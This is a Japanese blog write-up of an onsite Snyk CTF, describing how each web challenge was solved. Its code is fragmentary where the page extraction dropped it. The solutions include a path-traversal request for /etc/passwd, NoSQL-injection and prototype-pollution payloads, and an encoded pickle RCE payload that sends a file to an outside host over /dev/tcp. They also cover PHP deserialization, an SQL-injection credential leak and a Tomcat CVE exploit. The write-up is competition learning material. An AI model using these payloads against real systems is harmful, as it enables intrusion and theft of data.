Writeupはじめに某日、Twitterを眺めているとオンサイトCTFの情報が流れてきました。Pro(第2世代)、3位はiRobotルンバです。2022新型コロナでいろんなイベントが消滅してから長らく国内でオンサイトCTFに参加する機会がなかったので、興味がありました。Snyk*1という組織自体は知っていましたが、CTFをやっているイメージがなかったので正直参加するか微妙でした。大学の先輩が会場のAWSで働いていることと、賞品にルンバという文字が見えたことが決め手で参加することにしました。私の家は一人暮らしにしては部屋数が多く、床にコードは散らかっていないので、ルンバは夢のアイテムです。私は機械に弱いので電子機器や家電は数年に1回単位でしか買うことがなく、(iPadやAirPodsも含めて)賞品で貰えたら嬉しいな、程度の気持ちでした。電車で目黒に行きました。時間で家を出ましたが、無事5分前くらいに会場に到着しました。会場は21階にあり、プチ都庁みたいな景色が見えました。競技開始前はWi-Fi*2につないだり、moraさん遅刻か?と思ったりしていました。15時になるとAWSとSnykの会社説明があり、その後Snyk脆弱性スキャナの使い方説明がありました。スコアボードはCTFdで、名前をyoshikingにしようと思っていましたが、他のユーザーを見ると「ptr-s@toki」が観測されたため「satoking」に軌道修正しました。最初に、みんなで仲良く一緒に解くデモ問題みたいなのをやりました。node製のアプリで、脆弱性スキャナにかけると「コード自体の問題」と「パッケージに含まれる脆弱性」の2つを分けて表示してくれました。いくつか脆弱性の可能性が検出されるのですが、デモ問題では以下の古いパッケージに含まれるディレクトリトラバーサルが問題でした。開発者向けなのでさすがにCVEのPoCまでは表示してくれませんが、脆弱性やCVEの説明などへのリンクはあります。stというのは静的ファイルを提供するためのパッケージらしく、以下のように./publicを/publicにバインドしていました。}));これにディレクトリトラバーサルがあるということで、次のようなリクエストを送ると任意のディレクトリリスティングやファイル内容が読めました。'http://<HOST>/public/%2e%2e/%2e%2e/%2e%2e/etc/passwd'2階層くらい下がったところにflagという名前のファイルがあったと思います。参加前は某省みたいなクイズ大会かと思っていましたが、この辺で意外とNetWars的なCVE探して刺す系のCTFかな?と安心し始めました。競技開始15:30過ぎくらいから競技が開始され、問題を解き始めました。ここで衝撃の事実が発覚します。なんとスコアボードで順位が見えません。これではサブマリン戦法やヒント開放による露骨なスコア調整で3位のルンバが狙えないので、方針転換して、速解きでなるべく高い順位を狙うことにしました。imageだったので後回し)をSnyk脆弱性スキャナに投げておきました。Injectionでした。null}みたいなのを入れると良いらしいです。MongoDBわかんねぇ。開発者ツールのNetworkタブでログイン時に流れているリクエストを見て、ユーザー名とパスワードを↑のオブジェクトに差し替えて送ります。<center>SNYK{2185ecb17f23afdf2610f741dd07=6bd6088c616e4ac2a403eb14fa8689e1fb0af}</center>...フラグが得られました。PollutionとRCEが表示されました。RCEの方のCVEについて調べましたが、こっちはよく分かりませんでした。このバージョンのパッケージに含まれる脆弱性を表示してくれているので、該当する機能は使われていないということでしょう。Pollutionが発生していることが分かります。}options.flagがあれば良いらしいので、req.bodyからこれを汚染します。1}}}'{"userID":"::ffff:10.148.0.21","time":1665911253513,"message":{},"flag":"SNYK{6a6a6fff87f3cfdca056a077804838d4e87f25f6a11e09627062c06f142b10dd}"}フラグが得られました。3問目:ハンバーガーに欠かせないものこの辺からcurlだけでは解けなくなってきます。deserializationがあるので、RCEできそうなオブジェクトを作ります。base64.b64encode(data)print(payload)自分の保有しているサーバーにコマンドの実行結果を送信するようなコードにしました。フラグの位置は事前にlsをして入手したものです。rce.pyb'gASVWQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjD4vYmluL2Jhc2ggLWMgIi9iaW4vY2F0IC9mbGFnIC8gPiAvZGV2L3RjcC9wb25wb25tYXJ1LnRrLzE4MDAyIpSFlFKULg=='これを送ります。payload>"すると待受側にフラグが飛んできました。今までに比べてソースコードの規模が若干大きくなりました。deserializationが目に入ったのでこれを狙います。フラグが貰えそうなadmin.phpを開くと、初手脆弱性がありました。?>使えそうなオブジェクトを調べると、user.phpがあります。}}isAdminをtrueにしたオブジェクトをシリアライズして、Cookieに打ち込めば認証を突破できそうです。encodeするのを忘れていて少し手こずりました。</div>...フラグが貰えました。【追記】そういえば競技終了後にmoraさんが「この問題SQLiがあってそっちをやってた」って言ってたので、それも試してみます。Injectionがあります。BYにかかってるので若干面倒そうですね。ソースコードは公開されているもののデーターベースの構造はたぶん分からないので、そこの特定から始めます。種類はSQLiteです。}}目標はusersテーブルからadminがtrueに評価されるような値を持っているユーザーのパスワードをリークすることです。7はエラーになったので、6カラムあることが分かります。BYにサブクエリを入れても何も起きなさそう(知ってる人いたら教えてください)なので、LIMITの方をオラクルに使います。usersテーブルのadminカラムの型が分からなかったので、カラム名をguessしたらidという一意に定まりそうカラムがありました。id=1);--1と2で結果が返ってきたので、usersテーブルにデータは2つ存在することが分かります。1つ目がadminと仮定してパスワードをリークしましょう。今回のサイトですが、言語一覧には20個の言語が見えています。したがって、LIMIT句をオラクルとする場合、20までの可変データをリークできます。使って高速に大きいデータが読めます。今回は20個データがあるので、例えば19と17を剰余にして欲しい数字を返せば、最大19x17=323までの値をリークできます。2回のクエリで1バイトのデータくらいなら読めるわけです。SQLiにも関わらず、ものの数秒ですべてのデータが読めてしまいました。print(password)同様にユーザー名もリークできます。id=1とid=2の両方でこれを試し、ユーザー名とパスワードをリークできました。lavalavalava123456この認証情報を使いログインしてみました。どちらもadminではありませんでした。おしまい!5問目:ACEと猫とコーヒーこの問題はソースコードではなくDockerイメージが貰えます。Tomcatのトップページが表示されました。TomcatのCVE問っぽいです。Snykのスキャナにもかけましたが、コンテナイメージが古いのでコンテナ内の他のアプリケーションの脆弱性情報が大量に出てきて、読める状態ではありませんでした。*4Tomcatのバージョンは8.5.21なので、このバージョンでRCEがないか調べると、まずCVE-2020-9484が引っかかりました。説明を読むとかなり条件が厳しいです。sessionAttributeValueClassNameFilter="null"実際ysoserialを落としてPoCを投げましたが刺さった様子はありませんでした。調べると、次にCVE-2017-12617がヒットしました。こっちはこっちでPUTメソッドが有効になっている必要がありますが、それくらいならありそう、ということで試してみました。PoCはこちらのものを使用しました。./webapps/todolist/flagSNYK{9a6a1fff87f3cfdca056a077804838d4e87f25f6a11e09627092c06f142b10yf}刺さりました。対戦ありがとうございました。終了後こんな感じです。40分くらいで解き終わったらしいです。30分くらい時間が余っていたので、会場にあったケーキやチョコを食べ食べしたり、satoki君に進捗確認DMを送ったりして時間を潰していました。satoki君も終わったって言ってたし会場の周りも手が止まってたしで上位入賞は厳しいかなーと思いつつも、クイズ大会じゃなかった&全問ソースコードが配布されていたので感動していました。個人的にはこの程度の難易度で1時間で終わるようなCTFはオンラインでももっと開催して欲しいと思っているので、楽しかったです。WebはCTF4大ジャンルの中でcryptoと1位2位を争うほど苦手なので、次回は是非pwnとかpwnも出してほしいです。Airをいただきました。ルンバ逃した......機械に弱いのでApple製品はもちろん、最近流行りのタブレットだのなんだのは使ったことがなかったのですが、電源ボタンで指紋認証できてSFの世界に来た感じがしました。お絵描きの勉強をしていたので、早速ペイントアプリを入れてニャンスカルを描いてみましたが、非常に使いやすくておったまげました。細部に消しゴムが使えるのと、やり直し機能があるのがアナログ人間としては便利だと感じました。以上、久しぶりにオンサイトCTFができて楽しかったです。開催&豪華賞品ありがとうございました。*1:スニック、エスニック、スニークなど呼び方に多数の説がありましたが、スニックが正解っぽいです。*2:序盤かなり接続が不安定だったWi-Fi*3:moraさんは1分前くらいに来たと思います。CTFをお待ちしています。8はてなブログをはじめよう!ptr-yudaiさんは、はてなブログを使っています。ブログを報告する引用をストックしましたストック一覧を見る閉じる引用するにはまずログインしてくださいログイン閉じる引用をストックできませんでした。再度お試しください閉じる限定公開記事のため引用できません。